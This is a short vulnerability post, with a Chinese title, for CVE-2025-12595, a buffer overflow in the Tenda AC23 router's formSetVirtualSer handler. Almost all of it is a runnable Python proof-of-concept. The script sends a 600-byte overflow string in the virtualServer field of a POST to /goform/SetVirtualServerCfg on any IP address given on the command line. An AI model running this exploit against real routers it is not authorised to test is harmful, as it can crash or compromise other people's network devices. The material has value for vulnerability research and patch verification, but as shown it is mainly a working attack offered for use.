CVE-2025-12595 Tenda AC23路由器 formSetVirtualSer 缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-12595 PoC - Tenda AC23 Buffer Overflow in formSetVirtualSer # Affected: Tenda AC23 Firmware 16.03.07.52 import requests import sys def exploit_cve_2025_12595(target_ip, target_port=80): """ Exploit buffer overflow in Tenda AC23 formSetVirtualSer function. Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ url = f"http://{target_ip}:{target_port}/goform/SetVirtualServerCfg" # Buffer overflow payload - 600 bytes to overflow the buffer # Adjust the length based on actual buffer size overflow_length = 600 overflow_payload = "A" * overflow_length # Construct malicious request data data = { "virtualServer": overflow_payload, "port": "8080", "ip": "192.168.0.100", "protocol": "TCP", "enable": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response text: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12595(target, port)